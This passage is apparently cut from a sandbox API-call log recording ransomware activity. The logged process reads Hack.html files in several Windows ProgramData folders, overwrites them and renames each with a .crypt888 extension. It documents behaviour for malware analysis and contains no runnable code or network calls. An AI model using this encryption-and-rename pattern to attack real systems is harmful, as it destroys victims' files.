hFindFile=0x59a128) returned 1 [0089.156] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", lpFilePart=0x0) returned 0x3c [0089.156] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.156] GetFileType (hFile=0x174) returned 0x1 [0089.156] GetFileType (hFile=0x174) returned 0x1 [0089.156] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.156] ReadFile (in: hFile=0x174, lpBuffer=0x2797ca4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2797ca4*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.169] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", lpFilePart=0x0) returned 0x3c [0089.169] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.170] GetFileType (hFile=0x174) returned 0x1 [0089.170] GetFileType (hFile=0x174) returned 0x1 [0089.178] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", lpFilePart=0x0) returned 0x3c [0089.178] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html.crypt888", lpFilePart=0x0) returned 0x45 [0089.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbca0440, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbca0440, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc65a1e40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.179] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html.crypt888")) returned 1 [0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x43 [0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\", lpFilePart=0x0) returned 0x44 [0089.180] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0089.180] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x43 [0089.180] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\", lpFilePart=0x0) returned 0x44 [0089.180] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0089.181] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0089.181] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", lpFilePart=0x0) returned 0x4d [0089.181] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.181] GetFileType (hFile=0x174) returned 0x1 [0089.181] GetFileType (hFile=0x174) returned 0x1 [0089.181] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0089.181] ReadFile (in: hFile=0x174, lpBuffer=0x27f0c48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27f0c48*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0089.201] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", lpFilePart=0x0) returned 0x4d [0089.201] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.202] GetFileType (hFile=0x174) returned 0x1 [0089.202] GetFileType (hFile=0x174) returned 0x1 [0089.203] WriteFile (in: hFile=0x174, lpBuffer=0x283ede8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x283ede8*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0089.204] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", lpFilePart=0x0) returned 0x4d [0089.204] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html.crypt888", lpFilePart=0x0) returned 0x56 [0089.204] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbc7a2e0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbc7a2e0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc65ee100, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.204] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html.crypt888")) returned 1 [0089.205] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html", lpFilePart=0x0) returned 0x4d [0089.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Default Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\default pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.205] GetFileType (hFile=0x174) returned 0x1 [0089.205] GetFileType (hFile=0x174) returned 0x1 [0089.206] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html", lpFilePart=0x0) returned 0x3c [0089.206] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\User Account Pictures\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\user account pictures\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.207] GetFileType (hFile=0x174) returned 0x1 [0089.207] GetFileType (hFile=0x174) returned 0x1 [0089.208] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0089.208] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\", lpFilePart=0x0) returned 0x23 [0089.208] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0089.208] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault", lpFilePart=0x0) returned 0x22 [0089.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\", lpFilePart=0x0) returned 0x23 [0089.209] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a4e8 [0089.209] FindClose (in: hFindFile=0x59a4e8 | out: hFindFile=0x59a4e8) returned 1 [0089.209] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.209] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.209] GetFileType (hFile=0x174) returned 0x1 [0089.209] GetFileType (hFile=0x174) returned 0x1 [0089.209] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.209] ReadFile (in: hFile=0x174, lpBuffer=0x284694c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x284694c*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.232] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.232] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.233] GetFileType (hFile=0x174) returned 0x1 [0089.233] GetFileType (hFile=0x174) returned 0x1 [0089.233] WriteFile (in: hFile=0x174, lpBuffer=0x2894aac*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2894aac*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0089.234] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.234] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html.crypt888", lpFilePart=0x0) returned 0x35 [0089.234] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbca0440, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbca0440, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc663a3c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.235] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html.crypt888")) returned 1 [0089.235] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.235] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\vault\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.236] GetFileType (hFile=0x174) returned 0x1 [0089.236] GetFileType (hFile=0x174) returned 0x1 [0089.237] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO", lpFilePart=0x0) returned 0x22 [0089.237] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\", lpFilePart=0x0) returned 0x23 [0089.237] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a0e8 [0089.238] FindClose (in: hFindFile=0x59a0e8 | out: hFindFile=0x59a0e8) returned 1 [0089.238] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO", lpFilePart=0x0) returned 0x22 [0089.238] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\", lpFilePart=0x0) returned 0x23 [0089.238] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a0e8 [0089.238] FindClose (in: hFindFile=0x59a0e8 | out: hFindFile=0x59a0e8) returned 1 [0089.238] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.238] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.239] GetFileType (hFile=0x174) returned 0x1 [0089.239] GetFileType (hFile=0x174) returned 0x1 [0089.239] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.239] ReadFile (in: hFile=0x174, lpBuffer=0x2899988, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2899988*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.261] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.261] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.262] GetFileType (hFile=0x174) returned 0x1 [0089.262] GetFileType (hFile=0x174) returned 0x1 [0089.263] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.264] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html.crypt888", lpFilePart=0x0) returned 0x35 [0089.264] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbca0440, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbca0440, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc6686680, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.264] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html.crypt888")) returned 1 [0089.265] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html", lpFilePart=0x0) returned 0x2c [0089.265] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\visio\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0089.265] GetFileType (hFile=0x174) returned 0x1 [0089.265] GetFileType (hFile=0x174) returned 0x1 [0089.266] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0089.266] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\", lpFilePart=0x0) returned 0x25 [0089.266] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a428 [0089.266] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.267] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc", lpFilePart=0x0) returned 0x24 [0089.267] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\", lpFilePart=0x0) returned 0x25 [0089.267] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a428 [0089.267] FindClose (in: hFindFile=0x59a428 | out: hFindFile=0x59a428) returned 1 [0089.267] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", lpFilePart=0x0) returned 0x2e [0089.267] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.267] GetFileType (hFile=0x174) returned 0x1 [0089.267] GetFileType (hFile=0x174) returned 0x1 [0089.267] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0089.267] ReadFile (in: hFile=0x174, lpBuffer=0x26ed658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26ed658*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0089.287] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", lpFilePart=0x0) returned 0x2e [0089.287] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0089.289] GetFileType (hFile=0x174) returned 0x1 [0089.289] GetFileType (hFile=0x174) returned 0x1 [0089.289] WriteFile (in: hFile=0x174, lpBuffer=0x273b918*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x273b918*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0089.290] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html", lpFilePart=0x0) returned 0x2e [0089.290] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html.crypt888", lpFilePart=0x0) returned 0x37 [0089.290] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbbcc65a0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xbbcc65a0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc66ac7e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0089.290] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\hack.html.crypt888")) returned 1 [0089.291] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: 